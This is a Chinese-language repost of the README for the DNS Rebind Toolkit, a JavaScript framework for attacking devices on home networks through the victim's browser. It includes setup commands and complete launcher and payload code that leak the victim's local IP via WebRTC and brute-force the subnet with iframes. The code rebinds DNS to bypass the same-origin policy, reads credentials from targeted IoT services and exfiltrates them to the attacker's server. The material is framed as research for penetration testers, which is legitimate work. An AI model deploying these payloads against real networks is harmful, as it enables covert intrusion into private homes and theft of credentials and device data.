DNS Rebind Toolkit - 用于创建DNS重绑定攻击的前端JavaScript工具包

​DNS Rebind Toolkit是一个用于开发针对本地局域网(LAN)的脆弱主机和服务的DNS重绑定攻击的前端JavaScript框架。它可以用的目标设备是像Google Home、Roku、Sonos WiFi扬声器、WiFi路由器、“智能”恒温器和其他物联网设备等设备。 有了这个工具箱,远程攻击者就可以绕过路由器的防火墙,直接与受害者的家庭网络上的设备交互,泄露私人信息,在某些情况下,甚至可以控制这些脆弱的设备。

这个攻击需要在受害者的网络中放入一个简单的链接,或者显示一个包含恶意iframe的HTML广告 。对于受害者,他们的浏览器被用作代理,直接访问连接到其家庭网络的其他主机。 否则,这些目标计算机和服务将无法从Internet上被攻击者使用。 远程攻击者可能不知道这些服务是什么,也不知道它们在受害者的网络上占用了什么IP地址,但是DNS RebindToolkit通过蛮力爆破成百上千的IP地址。 DNS-Rebinding-Attack

​在底层,这个工具使用一个公共的whonow DNS服务器运行在rebind.network:53 来执行DNS重新绑定攻击,并欺骗受害者的web浏览器违反同源策略。从受害者那里 ,它使用WebRTC来泄漏受害者的私有IP地址,比如192.168.1.36。它使用这个本地IP地址的前三个字节来猜测网络的子网,然后注入256 iframe,从192.168.1.0-255向每个可能在网络子网上的主机发送有效负载。

这个工具箱可以用来开发和部署您自己的DNS重绑定攻击。 一些真实世界的攻击payloads 是包含在这个工具目录下的 payloads/ 文件夹中。这些payloads 包含的信息泄露(和rickroll tom-foolery) 对一些流行的物联网设备的攻击,包括Google Home和Roku产品。

这个工具包是对DNS重新绑定攻击的独立安全研究的产物。你可以在<a href=”https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325″>Here读到关于原始研究的内容

 

准备开始

# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# install dependencies
npm install

# run the server using root to provide access to privileged port 80 
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server

默认情况下,server.js提供payloads以Google Home、Roku、Sonos扬声器、飞利浦Hue灯泡和无线恒温器设备为目标,分别在800、8060、1400、80和80的端口上运行它们的服务。 如果你的家庭网络中有一个这样的设备,导航到http://rebind.network, 可以获得一个惊喜 。打开开发者控制台并观看这些服务被无恶意地利用,导致数据从它们中被窃取,并且泄露到server.js上。

 

API and 用法

这个工具箱提供了两个JavaScript对象,可以一起使用来创建DNS重绑定攻击:

  • DNSRebindAttack: 该对象用于对运行在已知端口上的脆弱服务发起攻击。 它为您选择的每个IP地址生成一个payload。DNSRebindAttack 对象被用于创建、管理和多个 DNSRebindNod 对象之间的通讯,通过DNSRebindAttack 启动每一个payload 必须包括一个DNSRebindNode对象。
  • DNSRebindNode :这个静态类对象应该包含在每个HTML payload文件中。 它用于针对在一个主机上运行的一个服务。它可以与生成它的DNSRebindAttack对象通信, 并且它具有辅助函数来执行DNS重新绑定攻击(使用DNSReBundNo.ReBand(…))以及在攻击到服务器期间发现的输出数据(DNSRebindNode.exfiltrate(…))。

这两个脚本一起用于在防火墙保护的局域网中对未知主机执行攻击。一个基本的攻击是这样的:

  1. 攻击者向受害者发送一个指向发起攻击的恶意HTML页面的链接:例如http://example.com/launcher.html。launcher.html 包含一个DNSRebindAttack实例。
  2. 受害者点击攻击者的链接,或者访问一个被嵌入到iframe中的页面,http://example.com/launcher.html, 这将导致在 launcher.html 中的DNSRebindAttack开始攻击。
  3. DNSRebindAttack 使用 WebRTC leak 来发现受害者机器的本地IP地址 (e.g. 192.168.10.84),攻击者使用这些信息来选择在受害者的局域网中定位的IP地址范围(eg.192.168.10.0-255)。
  4. launcher.html 启动DNS重绑定攻击 (使用DNSRebindAttack.attack(…)) 针对受害者子网上的一系列IP地址, 以及针对单个服务(e.g. the undocumented Google Home REST API available on port 8008
  5. 在用户定义的时间间隔(默认情况下是200毫秒), DNSRebindAttack 嵌入一个iframe 包含有payload.html 放入 launcher.html 页面中。每个iframe包含一个DNSRebindNode 对象对攻击的IP地址范围内定义的单个主机的8008端口执行攻击。 这个注入过程一直持续到一个iframe被注入到攻击目标的每个IP地址。
  6. 每个注入的payload.html文件使用DNSRebindNode通过与 whonow DNS server 通信来尝试重绑定攻击。如果成功,那么同源策略将会被违反,Payload.html可以直接与GoogleHome产品进行通信。 通常,payload.html将以这样的方式编写,即它对目标设备进行一些API调用,并将结果泄露到example.com上运行的server.js,然后再完成攻击并自行销毁

注意,如果一个用户在他们的网络上有一个不知名的IP地址的Google Home设备,并且针对整个192.168.1.0/24的子网发起攻击,那么一个DNSRebindNode的重绑定攻击将会成功,254将会失败。

 

实例

攻击由三个协调的脚本和文件组成:

  • 一个包含有DNSRebindAttack 实例的HTML文件 (e.g. launcher.html) 。
  • 一个包含有payload 的HTML文件 (e.g. payload.html). 该文件被DNSRebindAttack嵌入到Launcher.html中,用于指定每个IP地址。
  • 一个DNS Rebinding Toolkit 服务器(server.js)去运行上述文件和输出数据。

launcher.html

下面是一个示例HTML启动文件。您可以在 examples/launcher.html. 中找到完整的文档。

<!DOCTYPE html>
<head>
 <title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })

    function launchRebindAttack(localIp) {

        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)

        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)

        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js

            console.log('node exfiltrate', ip, data)

            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

下面是一个示例HTML有效负载文件。您可以在examples/payload.html中找到完整的文档。

<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

这个脚本用于启动launcher.htmlpayload.html文件,以及接受和保存从DNSRebindNode 的数据到/data文件下。对于开发,我通常在本地主机和点上运行这个服务器 DNSRebindAttack.attack(...) towards 127.0.0.1. 对于生产,我通常运行在VPS云服务器上,并将 DNSRebindAttack.attack(...) 到公网上。

# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

 

更多例子

我已经在其中加入了一个易受攻击的服务器 examples/vulnerable-server.js。 这个脆弱的服务必须在你的网络上运行,因为它的端口必须与server.js的端口相匹配。 要运行这个示例,请执行以下操作 :

辅助计算机

# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000

主计算机:

node server --port 3000

现在,将浏览器导航到http://localhost:3000/launcher.html 并打开一个开发控制台。 等一到两分钟,如果攻击成功了,你应该会看到一些从服务器上运行的易受攻击的服务器。

请查看examples/payloads/目录以获得更多示例。

 

文件和目录

  • server.js:DNS Rebind Toolkit 服务
  • payloads/ :几个HTML有效载荷文件是手工制作的,目标是一些脆弱的物联网设备。 包括对Google Home、Roku和无线恒温器的攻击。我洗完以后在这个repo中看到更多payload.
  • examples/: 示例文件
  • data/: 通过DNSRebindNode.exfiltrate(…) 输出的数据存放目录
  • share/: 在 examples/payload/.中由多个HTML文件共享的JavaScript文件目录 。

这个工具包被开发为研究人员和渗透测试人员的有用工具。
如果你想写一个为其他服务payload,考虑提交到这个仓库,以便其他人可以从你的工作中受益。

Download DNS Rebind Toolkit

审核人:yiwang   编辑:边边

(完)